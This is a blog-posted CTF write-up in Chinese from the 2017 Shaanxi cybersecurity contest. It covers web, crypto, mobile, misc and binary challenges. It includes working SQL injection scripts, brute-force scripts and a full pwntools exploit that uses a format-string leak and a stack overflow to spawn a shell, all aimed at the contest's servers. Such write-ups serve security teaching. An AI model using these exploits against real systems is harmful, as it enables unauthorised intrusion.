• 2017年陕西省网络空间安全技术大赛WP



    前言


    为提高大学生的网络安全技术水平,培养大学生的团队协作能力,由陕西省兵工学会主办,西安工业大学承办的“2017年第三届陕西省网络空间安全技术大赛”即将于2017年4月15-16日进行线上初赛,2017年5月13日进行线下总决赛。文章为本次大赛第一名的队伍Mirage的writeup。


    web


    签到题

    直接源代码代码审计,php弱类型 然后第二关 构造

    1
    <?php class a{ var $key; } $b = new a(); $b->key=0; $c=json_encode($b); echo $c; ?>

    image

    抽抽奖

    没有数据传输,因此判断代码在本地。然后在JQuery.js文件里发现JSfuck,解密然后console直接输入getFlag即可

    image

    继续抽

    直接爆破,脚本如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    import requests
    import hashlib
    def encode(str):
        end = ""
        for s in str:
            if ord(s)<128:
                end+="%x"%(255-(ord(s)+128))
            if ord(s)>127:
                end+="%x"%(255-(ord(s)-128))
        return end
    flag = []
    for x in range(0,200):
        cookies = {'PHPSESSID': '3k2rd4536me3rjsojf473vctd7'}
        r = requests.get("http://117.34.111.15:81/token.php",cookies=cookies)
        m = hashlib.md5(str(x)).hexdigest()
        print x
        print "http://117.34.111.15:81/get.php?token="+r.text[1:-1]+"&id="+encode(m)
        s = requests.get("http://117.34.111.15:81/get.php?token="+r.text[1:-1]+"&id="+encode(m),cookies=cookies)
        flag.append(s.text)
        print s.text
    print set(flag)

    image

    So easy

    代码审计发现 这里没有用escape_string,因此存在注入 可是折腾了好久

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    function show($username){
      global $conn;
      $sql = "select role from `user` where username ='".$username."'";
      $res = $conn ->query($sql);
      if($res->num_rows>0){
      echo "$username is ".$res->fetch_assoc()['role'];
      }else{
      die("Don't have this user!");
      }
    }

    然后通过过滤函数,找到了去年sysclover的一篇Writeup 然后才发现我前段时间遇到过这个操作符构造注入了,可是当时比较忙,没时间做,因此技能点没有get

    脚本长这样,虽然丑点,但是能跑出passwd

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    # --coding:utf-8--    import requests
    url="http://117.34.111.15:89/?action=show"
    passwd=""
    lists="1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm"
    for i in xrange(1,33):
        print i
        for p in lists:
            param={'username':"-1'=(ascii(mid((passwd)from("+str(i)+")))="+str(ord(p))+")='0"}
            print requests.post(url,data=param).content
            if "admin" in requests.post(url,data=param).content:
                passwd=passwd+p
                break
    print passwd

    登陆就是flag 登陆这里的admin判断直接用admin%c2这个去绕过,因为刚前段时间看过ph师傅的最近刚写的文章,然后很快就反应过来了

    image

    Wrong

    随手就出swp文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
      3 error_reporting(0);
      4 function create_password($pw_length =  10)
      5 {
      6 $randpwd = "";
      7 for ($i = 0; $i < $pw_length; $i++)
      8 {
      9 $randpwd .= chr(mt_rand(33, 126));
     10 }
     11 return $randpwd;
     12 }
     13 
     14 session_start();
     15 mt_srand(time());
     16 $pwd=create_password();
     17 
     18 if($pwd==$_GET['pwd'])
     19 {
     20   if($_SESSION['userLogin']==$_GET['login'])
     21 echo "Good job, you get the key";
     22 }
     23 else
     24 {echo "Wrong!";}

    刚开始丢给队友做,队友做了好久,然后硬是没刚出来。 看了一下,思路大致如下

    1
    $pwd==$_GET['pwd']、$_SESSION['userLogin']==$_GET['login']

    两个点,第一个可以通过清空cookie,造成NULL==NULL

    第二个点则需要本地提前时间生成pwd pwd生成脚本(注:linux时间改成和服务时间一样,时区最好也改了吧,反正我第一次没改时区没有pass)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
      1 <?php
      2 function create_password($pw_length = 10)
      3 {
      4 $randpwd = "";
      5 for($i=0;$i<$pw_length;$i++)
      6 {
      7 $randpwd.=chr(mt_rand(33,126));
      8 }
      9 return $randpwd;
     10 }
     11 echo date("Y-m-d  h:i:sa")." ";
     12 mt_srand(time());
     13 $pwd=create_password();
     14 echo $pwd;
     ?>

    image

    just a test

    不知道是谁,在某个地方插了个弹窗。造成XSS的假象,然后打了一中午,发现什么也没有,就很绝望! 后来队友提醒是不是注入,然后在URL里试了一下真的是注入???exm??? 先把脚本放上

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    # -*- coding:utf-8 -*-
    import requests
    import time
    flag=""
    for j in xrange(1,50):
        for i in xrange(33,127):
            url="http://117.34.111.15:83/chandni-jewel'%20union%20select%20if((select%20ascii(substr(f1ag,"+str(j)+",1))%20from%20test.`fl@g`%20limit%200,1)="+str(i)+",sleep(0.4),1)%2523"
            a=time.time()
            requests.get(url)
            #print time.time()-a
            print '.',
            if time.time()-a>4:
                print chr(i)
                flag=flag+str(chr(j))
                break
    print flag
    #database() 5 
    #database() test
    #table1 fl@g
    #column f1ag
    #http://117.34.111.15:83/chandni-jewel' union select if((select ascii(substr(f1ag," str(j) ",1)) from test.fl@g limit 0,1)=" str(i) ",sleep(0.4),1)%23
    #http://117.34.111.15:83/chandni-jewel'%20union%20select%20if((select%20length(column_name)%20from%20information_schema.columns%20limit 1,1)="+str(i)+",sleep(0.4),1)%2523

    开始爆Flag始终没有爆出来,又很绝望。 怀疑人生然后把payload放到Bp里结果报错了,才发现表名里有个@,在payload里加个反引号就行了

    服务器响应不是很好,跑了很多遍才跑出来flag

    image

    admin

    这题和逆向狗研究了一晚上,只过了第一关。但是题目还是蛮有意思的

    1
    hint www.tar.gz

    大致浏览看了下功能

    刚开始一直想用hitcon 2015的crypt1的思路去伪造登陆,但是后来发现因为在

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    $token = '';
    $user = '';
    $admin = 0;
    if (isset($_COOKIE['token'])&&isset($_COOKIE['sign'])) {
        $sign = $_COOKIE['sign'];
        $token = $_COOKIE['token'];
        $arr = explode('|', token_decrypt($token));
        if (count($arr) == 3) {
            if (md5(get_indentify().$arr[0]) === $arr[2] && $sign === $arr[2]) {
                $user = $arr[0];
                $admin = (int)$arr[1];
            }
        }
    }

    有md5校验,因此第一种想法被pass了

    然后逆狗想到可以 构造 $username|$admin|$md5+padding 为用户名注册然后修改cookie即可伪造登录 因为是CFB模式

    image

    第二个明文分组的解密只与第一个分组的密文有关,因此可以解出flag的后半段 然而没什么luan用!

    比赛结束以后pcat说是压缩包的时间,然后把每个时间都试过去?然而?


    Crypto


    签到-欢迎来到CSTC2017 10

    1
    ZmxhZ3tXZWlTdW9GeXVfQmllTGFuZ30=

    签到题, base64 解密,flag : flag{WeiSuoFyu_BieLang}

    crypt2 200

    通过流量包的分析可以发现有两个人在用相同的N不同的E,发送给服务器,然后返回一段密文

    这个时候就公用了一个N,可以使用RSA的共模攻击来解决这个问题。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    python
    e1 = 3
    n1 = 295722865793798033460986793237541395631977030560369657198479193181766567057754287459743723539658396944636677358515648785314565228205230261697963097395812598331880872455869139731578362748460265979187318613591087019956434720952036757300875287830045303192314296720794872499471775336492552983354160440794987630219
    c1 = 15839981826811799772634108807452583389456749354145216574984222938829756753294086924872110969732766251541785740757693788214686206806750788561292837339359061701208001297802597
    e2 =7 
    n2 = 295722865793798033460986793237541395631977030560369657198479193181766567057754287459743723539658396944636677358515648785314565228205230261697963097395812598331880872455869139731578362748460265979187318613591087019956434720952036757300875287830045303192314296720794872499471775336492552983354160440794987630219
    c2 = 155249880144094802834481749928592059461139577288355397447367776112547796231086359709731959934830872744121046740255722326833958323017063249153808715277882003426237167195613685868065416967276090907468102632169601247074603247233477582113388294508579159856963458656960060635516531998836585340648309492666005454968
    def egcd(a, b):
        if a == 0:
            return (b, 0, 1)
        else:
            g, y, x = egcd(b % a, a)
            return (g, x - (b // a) * y, y)
    def modinv(a, m):
        g, x, y = egcd(a, m)
        if g != 1:
            raise Exception('modular inverse does not exist')
        else:
            return x % m
    s = egcd(e1, e2)
    s1 = s[1]
    s2 = s[2]
    print s
    n=n1
    if s1<0:
        s1 = - s1
        c1 = modinv(c1, n)
    elif s2<0:
        s2 = - s2
        c2 = modinv(c2, n)
    m=(pow(c1,s1,n)*pow(c2,s2,n)) % n
    print hex(m)[2:-1].decode('hex')
    跑出来flag为 flag{Hc0mm0nModulusR$AH}


    Mobile


    拯救鲁班七号 100

    先将lib文件导下来,然后用IDA来分析,是将明文经过一系列的替换,然后再与一个字符串进行比对

    android1-1.png

    这里有一个__android_log_print 帮助我们分析了,我在动态调试里直接使用logcat 输出转换后的格式,然后相对应替换一下位置就可以了。

    android1-0.png

    需要替换位置的 flag为 S!@#@1FD23154A34

    最后flag : flag{!@#@ASDF34511234}

    The Marauder's Map 150

    用jeb反编译之后 可以看到三串base64

    1
    2
    3
    4
    "dGVzdA==" test
    "WWVhaH4h";Yeah~!
    "dXNlcnM="; users
    "Mg=="; 2

    还有是对数据库进行了一系列的操作,所以就将数据库文明件test导出。

    使用了 SQLite format 3的数据库格式。 分析之后在这个数据库里可以找到几个表名和字段

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    CREATE TABLE `sqlitebrowser_rename_column_new_table` (
        `userid`    TEXT,
        `age`   int,
        `birthday`  TEXT,
        `id`    INTEGER
    )
    CREATE TABLE `users1` (
        `userid`    TEXT,
        `age`   INTEGER,
        `birthday`  TEXT,
        `id`    INTEGER
    )
    CREATE TABLE "users" (
        `userid`    TEXT,
        `age`   int,
        `birthday`  TEXT,
        `id`    INTEGER
    )

    接下来使用python 脚本提取数据库

    1
    2
    3
    4
    5
    6
    import shutil
    import sqlite3
    conn = sqlite3.connect('test')
    for row in conn.execute('select userid, age, birthday,id from users'):
    print  row
    conn.close()

    提取两个表都使用相同的办法,然后就是解密这个birthday字段了。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    (u'zhangsan', 21, u'9838e8884968b968c998e838c9a89838e88829', 1)
    (u'lisi', 20, u'9838e888496bfda98afdbb98a9b9a9d9cdfa29', 2)
    (u'wangwu', 20, u'9838e88849c908780889b8086908a998a8a83829', 3)
    (u'maybe', 23, u'9838e88849897808fcc8e818fcb9a8383829', 4)
    (u'how', 23, u'9838e8884968b98cc9fce8c9fcc838a8e8d929', 5)
    (u'manual', 22, u'9838e88849e8c9fcc8d969c9b9e83829', 6)
    (u'how', 24, u'9838e888496a8c28fc1808b9fc28a8c9c968188829', 1)
    (u"I've", 23, u'9838e8884918a8a8b8fc6908a9d9fcd838a8c9c968188829', 2)
    (u'been', 22, u'9838e88849b908fc386899a8fc98d9a8a829', 3)
    (u'wasting', 22, u'9838e88849b808fc68b9fc9808d9fc28a829', 4)
    (u'my', 21, u'9838e888496afcc9a818c9a8fc68b929', 5)
    (u'time', 18, u'9838e888496afc28a8e818b9fc68b929', 6)

    birthday地方经过了加密

    android2-1.png

    具体的算法在lib.so里,算法也不复杂,就是简单的将已经字符变成了俩字符。

    然后写了一个c语言的脚本来暴力跑,可以发现id是2的一个是正确解

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    #include<stdio.h>
    #include<string.h>
    int change(int a1)
    {
      int v1; // r3@3
      if ( a1 > 9 || a1 < 0 )
      {
    if ( a1 <= 9 || a1 > 15 )
      v1 = 255;
    else
      v1 = (unsigned __int8)(a1 + 'W');
      }
      else
      {
    v1 = (unsigned __int8)(a1 + '0');
      }
      return v1;
    }
    int main(){
        char flag[]={"9838e888496bfda98afdbb98a9b9a9d9cdfa29"};
        for(int j=0;j<strlen(flag);j+=2){
            for(int i=0;i<255;i++){
                if(change(~i&0xf)==flag[j]&&change((i>>4)^0xe)==flag[j+1]){
                    printf("%c",i);
                }
            }
        }
        return 0;
    }

    flag : flag{Y0uG0Tfutur3@}

    取证密码 200

    这一道android也是比较简单的。虽然是有加载库的,但是完全没难度呀

    android3-2.png

    android3-1.png

    简单分析一下他的流程就是

    1
    2
    3
    4
    5
    6
    7
    8
    #include<stdio.h>
    int main(){
        char arr[]={"yInS567!bcNOUV8vwCDefXYZadoPQRGx13ghTpqrsHklm2EFtuJKLzMijAB094W"};
        char index[]={0x39,0x20,7,0xA,0x20,0x29,0x13,2,0x3A,0xC,0x11,0x31,0x3B,0xB,7};
        for(int i=0;i<15;i++){
            printf("%c",arr[index[i]]);
        }
    }

    如果使用一下动态调试更是分分钟出结果。

    flag: flag{A1!N1HenBUCu0O!}

    人民的名义-抓捕赵德汉1 200

    刚开始看到100分的题目都吓死,出现这个题目的时候真的感觉很简单。

    看到有一个md5字符串,直接试了一下没想到就轻松的过了。

    android4-2.png

    android4-1.png

    flag: flag{monkey99}

    人民的名义-抓捕赵德汉2 200

    相当于jar的逆向,这个题目恶心的地方就是去加混淆了

    android5-1.png

    具体的算法其实不是很复杂,这里比较重要,但是这里有一个难点就是重写了arraycopy,这里调用了start的main函数。。我在这里去了一下混淆,勉强很够的到字符串,然后经过 ((c>>1)+15) 之后的字符串,这里解密出来为 "JsnatterrtJuaththovacke"

    android5-2.png

    android5-3.png

    写个一个java脚本跑了一下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    java
    public class test {
        //static String arr1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";    
        //static String arr2 = "ZYXWVUTSRQPONMLKJIHGFEDCBA";
        public static void main(String args[]){
            String arr1 = "JsnatterrtJuaththovacke";
          for(int i=0;i<19;i++){
              if(i==4||i==9||i==14||i==19){
                  System.out.print('-');
              }else{
                  System.out.print(arr1.charAt(check(i,arr1)));
              }
          }
        }
        public static int check(int i,String arg){
            return te(i)%arg.length();
        }
        public static int te(int i){
            if(i>2){
                return te(i-1)+te(i-2);
            }
            return 1;
        }
    }

    最后得到flag : flag{sssn-trtk-tcea-akJr}


    MISC


    一维码 100

    给了一个条形码文件,用扫码工具扫一下得到 keyword:hydan

    一看这个条形码文件巨大,有500多K,肯定有诈,用stegslove打开

    misc1-1.png

    选中最低位,在lsb下有ELF文件头,果断保存了这个bin文件,逆向分析了一波,,什么都没有。

    这个文件是就是一个tar工具。

    然后想到是使用hydan,百度了一下hydan,第一条就是。

    乾坤 125

    一个流量包文件,直接丢进wireshark分析一波,发现大多是http协议的流量,在 "文件 -> 导出对象" 选择HTTP,查看其传输内容,发现有两个通过邮箱传输的压缩文件。

    3.png

    点进去查看下,发现是文件名都为flag.zip,但是大小不同的文件。把他们都解压一遍,得到“encode.py”、“flag.exe”两个文件,用winhex查看flag.exe,在其末尾发现编码字符,接下来就是写出对应的解码脚本。脚本如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    python
    from base64 import b64decode
    def decode(a):
        a = list(a)
        for j in range(0,len(a)):
            if a[j]=='*':
                a[j]='W'
        for k in range(0,len(a)):
            if a[k]=='_':
                a[k]='1'
        a.reverse()
        flag_1=''.join(a)
        for i in range(0,25):
            flag_1=b64decode(flag_1)
        print flag_1
    with open("plaint.txt","r") as f:
        decode(f.read())

    轨迹 150

    记得X-NUCA的misc专场出过USB的流量分析题

    http://bobao.360.cn/learning/detail/3351.html

    tshark.exe -r trace.io -T fields -e usb.capdata > usbdata.txt

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    01:00:00:00:ff:ff:00:00
    01:00:00:00:ff:ff:00:00
    01:01:01:00:ff:ff:00:00
    01:01:01:00:ff:ff:00:00
    01:01:01:00:ff:ff:00:00
    01:01:ff:ff:00:00:00:00
    01:01:ff:ff:00:00:00:00
    01:01:ff:ff:00:00:00:00
    01:01:ff:ff:00:00:00:00
    01:01:ff:ff:01:00:00:00
    01:01:ff:ff:01:00:00:00
    01:01:ff:ff:01:00:00:00
    01:01:ff:ff:02:00:00:00
    01:01:ff:ff:01:00:00:00
    01:01:ff:ff:02:00:00:00

    跑出来这样的数据。

    第一位没什么用,第二位是0代表没有按键,1代表鼠标左击,2代表鼠标右击。

    第三第四位 合起来 像word字节,代表水平方向负数、正数代表左右移。

    第五第六位 合起来 代表垂直方向上下移动。

    直接使用脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    nums = []
    keys = open('usbdata.txt','r')
    out = open('data.txt','w')
    posx = 60
    posy = 10
    for line in keys:
        # if len(line) != 12 :
             # continue
        x = int(line[6:8],16)
        y = int(line[12:14],16)
        # print x,y
        if x > 127 :
            x -= 256
        if y > 127 :
            y -= 256
        posx += x
        posy += y
        btn_flag = int(line[3:5],16)  # 1 for left , 2 for right , 0 for nothing
        if btn_flag == 1 :
            out.write( "%d %d "%(posx ,posy))
    keys.close()
    out.close()

    得到坐标之后

    再到kali用 gnuplot 来画图,

    misc3-1.png

    flag{stego_xatu@}

    种棵树吧 100

    第一个图片后面连接了一个zip。

    解压出一个gif但是少了一点文件头,添加GIF89文件头。然后可以看到一张图片。

    misc4-1.png

    misc4-2.png

    misc4-3.png

    第二张图直接看属性

    misc4-4.png

    就得到 Post-order{YR!eVa-gLAoxdj{pw}8zkUnGuIHh:r65f2lFsEi} In-order{RY!heHVaL-goAI{dxjGpnUw8}kzuEr:s56fFl2i}

    1
    hi! HERe Is Your FLAG :flag{n52V-jpU6d_kx8zw}

    接下来按照层序排列可以得到flag:flag{n52V-jpU6d_kx8zw}

    我们的秘密 250

    这一题比较复杂。

    先用二进制查看器看了一下压缩包的结构,发现有很多个readme.txt

    然后将最底层的一个readme.zip抠出来,试了一下伪加密,是可以过的。

    里面是"为提高大学生的网络安全技术水平,培养大学生的团队协作能力,由陕西省兵工学会主办,西安工业大学承办的“2017年第三届陕西省网络空间安全技术大赛”即将于2017年4月15-16日进行线上初赛,2017年5月13日进行线下总决赛。"

    然后前面一个zip是真加密,这里我想到了使用zip的明文攻击

    跑了我一个多小时才跑出来,,,电脑太差劲了。

    misc5-1.png

    跑出来是 3xatu2o17

    misc5-3.png

    解压出三个文件,然后wav的是莫斯电码 解出来是,CTFSECWAR2017

    试了一下提交flag然后没过

    接下来想到还有一个mp4然后用各种工具去尝试,加密密钥为CTFSECWAR2017。在使用到 OurSecret的时候,结果正确了得到flag

    misc5-2.png

    flag{v1de0c0nc3a1lala}

    什么玩意

    这一题初看是一个蓝牙的pin码破解,在github上找到了脚本,BTcrack

    《无线网络安全攻防实战进阶》杨哲 写的这一本书中也包含了这一个的讲解。

    而且网上也找到了相同的题目文件。

    misc6-1.png

    同时也获得了 link key 。但是第一个文件 只有数字,,没有这方面的知识完全不会做。。只能够做到这一层了。

    misc6-2.png

    真的是什么玩意儿!


    Bin


    Now you see me 200

    这个题目我想要打人了。。出题人这样就没有意思了。

    在exe的属性里面,放了flag的前半段。就是

    bin1-1.png

    解密出来为 flag{root@mail:

    bin1-2.png

    在ida中首先找到了字符串,就是 Verification code:

    然后可以使用 OD去跟踪这一部分的代码了。

    具体的加密函数为sub_402640。

    是使用 有这样的操作,输入的长度为9. 应该都是要输入数字。

    然后分成三组,每一组记作a1,a2,a3

    1
    2
    3
    (a1+a2)*2-a1 == cmp1
    (a2*3)-a2 ==cmp2
    (a2*5+a3*2)-a3 == cmp3

    比对的数组为 0x0b 0x06 0x15 0x0b 0x04 0x0e 0x16 0x10 0x31

    写了一个简单脚本暴力了一下,轻松得到flag

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    cpp
    #include<stdio.h>
    #include<string.h>
    int main(){
        char flag[]={0x0b ,0x06 ,0x15 ,0x0b ,0x04 ,0x0e ,0x16 ,0x10 ,0x31};
        for(int i=0;i<16;i++){
            for(int j=0;j<16;j++){
                for(int z=0;z<16;z++){
                    if(((i+j)*2-i==flag[6])&&(j*3-j==flag[7])&&(j*5+z*2-z)==flag[8]){
                        printf("%d %d %d ",i,j,z);
                    }
                }
            }
        }
    }

    得到536 724 689

    所以 flag{root@mail:0IdWan9}

    Magical Box 200

    首先看了下防护机制

    bin3-1.png

    然后在IDA中可以看到一个相当明显的格式化字符串漏洞 

    bin3-2.png

    got表无法修改,但是在栈空间中可以找到canary的值,以及___libc _ start _main函数地址

    bin3-3.png

    同时对输入的用户名进行了一步异或操作后进行验证

    bin3-4.png

    bin3-5.png

    已经已知了s2,动态调试出了用户名为admin2017c,继续跟下去后发现一个栈溢出漏洞

    bin3-6.png

    写完EXP后本地能过远程过不了,猜测是__lib_start_main函数的本地偏移与远程不同采取爆破的办法出了flag

    bin3-7.png

    附上exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    python
    from pwn import *
    #context(log_level="debug")
    #p = process("./pwn_box")
    #libc = ELF('libc.so.6')
    libc = ELF('libc.so.6_pwnbox')
    elf = ELF('pwn_box')
    puts_got = 0x0804b030
    printf_got = 0x0804b010
    def launch_gdb():
    context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
    gdb.attach(proc.pidof(p)[0],"b *0x08048A11 c")
    #launch_gdb()
    for x in range(240,0xff):
        try:
            print x
            p = remote('117.34.80.134',7777)
            #p = remote('127.0.0.1',10001)
            p.recvuntil("? ")
            p.sendline("%7$x")
            p.recvuntil("!")
            canary = int('0x'+p.recv(8),16)
            #print hex(canary)
            p.recvuntil("? ")
            p.sendline("%43$x")
            p.recvuntil("!")
            libc_start_main_addr = int('0x'+p.recv(8),16)-x
            #print hex(libc_start_main_addr)
            plt =  libc.symbols['__libc_start_main']
            system_addr = libc_start_main_addr- (plt - libc.symbols['system'])
            binsh_addr = libc_start_main_addr- (plt - next(libc.search('/bin/sh')))
            #print hex(system_addr)
            #print hex(binsh_addr)
            p.recvuntil("? ")
            p.sendline("admin2017c")
            p.recvuntil(". ")
            p.sendline('add')
            p.recvuntil(": ")
            p.sendline("20")
            p.recvuntil(": ")
            p.sendline("a")
            p.recvuntil(": ")   
            payload = 'a'*30 + p32(canary)+'b'*0xc+p32(system_addr)+p32(0)+p32(binsh_addr)
            p.sendline(payload)
            p.interactive()
        except:
            p.close()
            continue
    #x=243
  • 相关阅读:
    GetUrlParam:获取Url参数,返回一个对象
    getPropByPath:根据字符串路径获取对象属性 : 'obj[0].count'
    dateFormater:格式化时间
    搜索引擎ElasticSearchV5.4.2系列二之ElasticSearchV5.4.2+kibanaV5.4.2+x-packV5.4.2安装
    大数据系列之并行计算引擎Spark部署及应用
    大数据系列之并行计算引擎Spark介绍
    大数据系列之数据仓库Hive安装
    大数据系列之数据仓库Hive命令使用及JDBC连接
    大数据系列之分布式计算批处理引擎MapReduce实践-排序
    大数据系列之Hadoop分布式集群部署
  • 原文地址:https://www.cnblogs.com/HacTF/p/6790766.html
Copyright © 2020-2023  润新知